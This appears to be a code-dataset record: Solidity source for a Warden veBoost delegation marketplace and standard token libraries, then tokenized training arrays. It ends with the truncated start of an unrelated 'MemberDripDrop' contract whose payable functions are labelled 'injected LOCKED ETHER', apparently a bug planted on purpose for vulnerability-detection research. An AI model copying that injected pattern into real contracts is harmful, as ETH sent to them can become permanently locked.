_canDelegate will also try to cancel expired Boosts of the deelgator to free more tokens for delegation require( _canDelegate(delegator, vars.toDelegateAmount, offer.maxPerc), "Warden: Cannot delegate" ); // Calculate the price for the given duration, get the real amount of fees to pay, // and check the maxFeeAmount provided (and approved beforehand) is enough. // Calculated using the pricePerVote set by the delegator vars.realFeeAmount = (vars.toDelegateAmount * offer.pricePerVote * vars.boostDuration) / UNIT; require( vars.realFeeAmount <= maxFeeAmount, "Warden: Fees do not cover Boost duration" ); // Pull the tokens from the buyer, setting it as earned fees for the delegator (and part of it for the Reserve) _pullFees(msg.sender, vars.realFeeAmount, delegator); // Calcualte the expiry time for the Boost = now + duration vars.expiryTime = ((block.timestamp + vars.boostDuration) / WEEK) * WEEK; // Hack needed because veBoost contract rounds down expire_time // We don't want buyers to receive less than they pay for // So an "extra" week is added if needed to get an expire_time covering the required duration // But cancel_time will be set for the exact paid duration, so any "bonus days" received can be canceled // if a new buyer wants to take the offer vars.expiryTime = (vars.expiryTime < block.timestamp + vars.boostDuration) ? ((block.timestamp + vars.boostDuration + WEEK) / WEEK) * WEEK : vars.expiryTime; require( vars.expiryTime <= votingEscrow.locked__end(delegator), "Warden: Lock expires before Boost" ); // VotingEscrowDelegation needs the percent of available tokens for delegation when creating the boost, instead of // the percent of the users balance. We calculate this percent representing the amount of tokens wanted by the buyer vars.boostPercent = (vars.toDelegateAmount * MAX_PCT) / (vars.delegatorBalance - delegationBoost.delegated_boost(delegator)); // Get the id (depending on the delegator) for the new Boost vars.newId = delegationBoost.total_minted(delegator); unchecked { // cancelTime stays current timestamp + paid duration // Should not overflow : Since expiryTime is the same + some extra time, expiryTime >= cancelTime vars.cancelTime = block.timestamp + vars.boostDuration; } // Creates the DelegationBoost delegationBoost.create_boost( delegator, receiver, int256(vars.boostPercent), vars.cancelTime, vars.expiryTime, vars.newId ); // Fetch the tokenId for the new DelegationBoost that was created, and check it was set for the correct delegator vars.newTokenId = delegationBoost.get_token_id(delegator, vars.newId); require( vars.newTokenId == delegationBoost.token_of_delegator_by_index(delegator, vars.newId), "Warden: DelegationBoost failed" ); emit BoostPurchase( delegator, receiver, vars.newTokenId, percent, offer.pricePerVote, vars.realFeeAmount, vars.expiryTime ); return vars.newTokenId; } /** * @notice Cancels a DelegationBoost * @dev Cancels a DelegationBoost : * In case the caller is the owner of the Boost, at any time * In case the caller is the delegator for the Boost, after cancel_time * Else, after expiry_time * @param tokenId Id of the DelegationBoost token to cancel */ function cancelDelegationBoost(uint256 tokenId) external whenNotPaused returns(bool) { address tokenOwner = delegationBoost.ownerOf(tokenId); // If the caller own the token, and this contract is operator for the owner // we try to burn the token directly if ( msg.sender == tokenOwner && delegationBoost.isApprovedForAll(tokenOwner, address(this)) ) { delegationBoost.burn(tokenId); return true; } uint256 currentTime = block.timestamp; // Delegator can cancel the Boost if Cancel Time passed address delegator = _getTokenDelegator(tokenId); if ( delegationBoost.token_cancel_time(tokenId) < currentTime && (msg.sender == delegator && delegationBoost.isApprovedForAll(delegator, address(this))) ) { delegationBoost.cancel_boost(tokenId); return true; } // Else, we wait Exipiry Time, so anyone can cancel the delegation if (delegationBoost.token_expiry(tokenId) < currentTime) { delegationBoost.cancel_boost(tokenId); return true; } revert("Cannot cancel the boost"); } /** * @notice Returns the amount of fees earned by the user that can be claimed * @dev Returns the value in earnedFees for the given user * @param user Address of the user */ function claimable(address user) external view returns (uint256) { return earnedFees[user]; } /** * @notice Claims all earned fees * @dev Send all the user's earned fees */ function claim() external nonReentrant returns(bool) { require( earnedFees[msg.sender] != 0, "Warden: Claim null amount" ); return _claim(msg.sender, earnedFees[msg.sender]); } /** * @notice Claims all earned fees, and cancel all expired Delegation Boost for the user * @dev Send all the user's earned fees, and fetch all expired Boosts to cancel them */ function claimAndCancel() external nonReentrant returns(bool) { _cancelAllExpired(msg.sender); return _claim(msg.sender, earnedFees[msg.sender]); } /** * @notice Claims an amount of earned fees through Boost Delegation selling * @dev Send the given amount of earned fees (if amount is correct) * @param amount Amount of earned fees to claim */ function claim(uint256 amount) external nonReentrant returns(bool) { require(amount <= earnedFees[msg.sender], "Warden: Amount too high"); require( amount != 0, "Warden: Claim null amount" ); return _claim(msg.sender, amount); } function _pullFees( address buyer, uint256 amount, address seller ) internal { // Pull the given token amount ot this contract (must be approved beforehand) feeToken.safeTransferFrom(buyer, address(this), amount); // Split fees between Boost offerer & Reserve earnedFees[seller] += (amount * (MAX_PCT - feeReserveRatio)) / MAX_PCT; reserveAmount += (amount * feeReserveRatio) / MAX_PCT; } function _canDelegate( address delegator, uint256 amount, uint256 delegatorMaxPerc ) internal returns (bool) { if (!delegationBoost.isApprovedForAll(delegator, address(this))) return false; // Delegator current balance uint256 balance = votingEscrow.balanceOf(delegator); // Percent of delegator balance not allowed to delegate (as set by maxPerc in the BoostOffer) uint256 blockedBalance = (balance * (MAX_PCT - delegatorMaxPerc)) / MAX_PCT; // Available Balance to delegate = VotingEscrow Balance - Blocked Balance uint256 availableBalance = balance - blockedBalance; // Then need to check what is the amount currently delegated out of the Available Balance uint256 delegatedBalance = delegationBoost.delegated_boost(delegator); if(availableBalance > delegatedBalance){ if(amount <= (availableBalance - delegatedBalance)) return true; } // Check if cancel expired Boosts could bring enough to delegate uint256 potentialCancelableBalance = 0; uint256 nbTokens = delegationBoost.total_minted(delegator); uint256[256] memory toCancel; //Need this type of array because of batch_cancel_boosts() from veBoost uint256 nbToCancel = 0; // Loop over the delegator current boosts to find expired ones for (uint256 i = 0; i < nbTokens; i++) { uint256 tokenId = delegationBoost.token_of_delegator_by_index( delegator, i ); if (delegationBoost.token_cancel_time(tokenId) <= block.timestamp && delegationBoost.token_cancel_time(tokenId) != 0) { int256 boost = delegationBoost.token_boost(tokenId); uint256 absolute_boost = boost >= 0 ? uint256(boost) : uint256(-boost); potentialCancelableBalance += absolute_boost; toCancel[nbToCancel] = tokenId; nbToCancel++; } } // If the current Boosts are more than the availableBalance => No balance available for a new Boost if (availableBalance < (delegatedBalance - potentialCancelableBalance)) return false; // If canceling the tokens can free enough to delegate, // cancel the batch and return true if (amount <= (availableBalance - (delegatedBalance - potentialCancelableBalance)) && nbToCancel > 0) { delegationBoost.batch_cancel_boosts(toCancel); return true; } return false; } function _cancelAllExpired(address delegator) internal { uint256 nbTokens = delegationBoost.total_minted(delegator); // Delegator does not have active Boosts currently if (nbTokens == 0) return; uint256[256] memory toCancel; uint256 nbToCancel = 0; uint256 currentTime = block.timestamp; // Loop over the delegator current boosts to find expired ones for (uint256 i = 0; i < nbTokens; i++) { uint256 tokenId = delegationBoost.token_of_delegator_by_index( delegator, i ); uint256 cancelTime = delegationBoost.token_cancel_time(tokenId); if (cancelTime <= currentTime && cancelTime != 0) { toCancel[nbToCancel] = tokenId; nbToCancel++; } } // If Boost were found, cancel the batch if (nbToCancel > 0) { delegationBoost.batch_cancel_boosts(toCancel); } } function _claim(address user, uint256 amount) internal returns(bool) { require( !_claimBlocked, "Warden: Claim blocked" ); require( amount <= feeToken.balanceOf(address(this)), "Warden: Insufficient cash" ); if(amount == 0) return true; // nothing to claim, but used in claimAndCancel() // If fees to be claimed, update the mapping, and send the amount unchecked{ // Should not underflow, since the amount was either checked in the claim() method, or set as earnedFees[user] earnedFees[user] -= amount; } feeToken.safeTransfer(user, amount); emit Claim(user, amount); return true; } function _getTokenDelegator(uint256 tokenId) internal pure returns (address) { //Extract the address from the token id : See VotingEscrowDelegation.vy for the logic return address(uint160(tokenId >> 96)); } // Admin Functions : /** * @notice Updates the minimum percent required to buy a Boost * @param newMinPercRequired New minimum percent required to buy a Boost (in BPS) */ function setMinPercRequired(uint256 newMinPercRequired) external onlyOwner { require(newMinPercRequired > 0 && newMinPercRequired <= 10000); minPercRequired = newMinPercRequired; } /** * @notice Updates the minimum delegation time * @param newMinDelegationTime New minimum deelgation time (in seconds) */ function setMinDelegationTime(uint256 newMinDelegationTime) external onlyOwner { require(newMinDelegationTime > 0); minDelegationTime = newMinDelegationTime; } /** * @notice Updates the ratio of Fees set for the Reserve * @param newFeeReserveRatio New ratio (in BPS) */ function setFeeReserveRatio(uint256 newFeeReserveRatio) external onlyOwner { require(newFeeReserveRatio <= 5000); feeReserveRatio = newFeeReserveRatio; } /** * @notice Updates the Delegation Boost (veBoost) * @param newDelegationBoost New veBoost contract address */ function setDelegationBoost(address newDelegationBoost) external onlyOwner { delegationBoost = IVotingEscrowDelegation(newDelegationBoost); } /** * @notice Updates the Reserve Manager * @param newReserveManager New Reserve Manager address */ function setReserveManager(address newReserveManager) external onlyOwner { reserveManager = newReserveManager; } /** * @notice Pauses the contract */ function pause() external onlyOwner { _pause(); } /** * @notice Unpauses the contract */ function unpause() external onlyOwner { _unpause(); } /** * @notice Block user fee claims */ function blockClaim() external onlyOwner { require( !_claimBlocked, "Warden: Claim blocked" ); _claimBlocked = true; } /** * @notice Unblock user fee claims */ function unblockClaim() external onlyOwner { require( _claimBlocked, "Warden: Claim not blocked" ); _claimBlocked = false; } /** * @dev Withdraw either a lost ERC20 token sent to the contract (expect the feeToken) * @param token ERC20 token to withdraw * @param amount Amount to transfer (in wei) */ function withdrawERC20(address token, uint256 amount) external onlyOwner returns(bool) { require(_claimBlocked || token != address(feeToken), "Warden: cannot withdraw fee Token"); //We want to be able to recover the fees if there is an issue IERC20(token).safeTransfer(owner(), amount); return true; } function depositToReserve(address from, uint256 amount) external onlyAllowed returns(bool) { reserveAmount = reserveAmount + amount; feeToken.safeTransferFrom(from, address(this), amount); return true; } function withdrawFromReserve(uint256 amount) external onlyAllowed returns(bool) { require(amount <= reserveAmount, "Warden: Reserve too low"); reserveAmount = reserveAmount - amount; feeToken.safeTransfer(reserveManager, amount); return true; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../interfaces/IERC20.sol"; import "../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; /** @title Custom Interface for Curve VotingEscrow contract */ interface IVotingEscrow { function balanceOf(address _account) external view returns (uint256); function create_lock(uint256 _value, uint256 _unlock_time) external returns (uint256); function locked__end(address _addr) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; /** @title Custom Interface for Curve VotingEscrowDelegation contract */ interface IVotingEscrowDelegation { function isApprovedForAll(address owner, address operator) external view returns(bool); function ownerOf(uint256 tokenId) external view returns(address); function balanceOf(uint256 tokenId) external view returns(uint256); function token_of_delegator_by_index(address delegator, uint256 index) external view returns(uint256); function total_minted(address delegator) external view returns(uint256); function grey_list(address receiver, address delegator) external view returns(bool); function setApprovalForAll(address _operator, bool _approved) external; function create_boost( address _delegator, address _receiver, int256 _percentage, uint256 _cancel_time, uint256 _expire_time, uint256 _id ) external; function extend_boost( uint256 _token_id, int256 _percentage, uint256 _cancel_time, uint256 _expire_time ) external; function burn(uint256 _token_id) external; function cancel_boost(uint256 _token_id) external; function batch_cancel_boosts(uint256[256] memory _token_ids) external; function adjusted_balance_of(address _account) external view returns(uint256); function delegated_boost(address _account) external view returns(uint256); function token_boost(uint256 _token_id) external view returns(int256); function token_cancel_time(uint256 _token_id) external view returns(uint256); function token_expiry(uint256 _token_id) external view returns(uint256); function get_token_id(address _delegator, uint256 _id) external view returns(uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
Check if cancel expired Boosts could bring enough to delegate
uint256 potentialCancelableBalance = 0;
1,765,269
[ 1, 1564, 309, 3755, 7708, 17980, 669, 87, 3377, 5186, 310, 7304, 358, 7152, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 5034, 8555, 6691, 429, 13937, 273, 374, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2020-04-22 */ pragma solidity 0.5.14; interface IToken { // brief ERC-20 interface function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } contract MemberDripDrop { /*************** INTERNAL DETAILS ***************/ uint256 public ethDrip; uint256 public tokenDrip; IToken public dripToken; address payable[] members; address payable public secretary; mapping(address => Member) public memberList; struct Member { uint256 memberIndex; bool exists; } modifier onlySecretary() { require(msg.sender == secretary, "caller must be secretary"); _; } // ****** // EVENTS // ****** event DripTokenUpdated(address indexed updatedDripToken); event TokenDripUpdated(uint256 indexed updatedTokenDrip); event ETHDripUpdated(uint256 indexed updatedETHDrip); event MemberAdded(address indexed addedMember); event MemberRemoved(address indexed removedMember); event SecretaryUpdated(address indexed updatedSecretary); function() external payable { } // contract receives ETH //injected LOCKED ETHER constructor( //injected LOCKED ETHER uint256 _ethDrip, uint256 _tokenDrip, address dripTokenAddress, address payable[] memory _members) payable public { // initializes contract for (uint256 i = 0; i < _members.length; i++) { require(_members[i] != address(0), "member address cannot be 0"); memberList[_members[i]].memberIndex = members.push(_members[i]) - 1; memberList[_members[i]].exists = true; } ethDrip = _ethDrip; tokenDrip = _tokenDrip; dripToken = IToken(dripTokenAddress); secretary = members[0]; // first address in member array is secretary } /************************ DRIP/DROP TOKEN FUNCTIONS ************************/ function dripTKN() public onlySecretary { // transfer token to members per stored drip amount for (uint256 i = 0; i < members.length; i++) { dripToken.transfer(members[i], tokenDrip); } } function dropTKN(uint256 drop, address dropTokenAddress) public onlySecretary { // 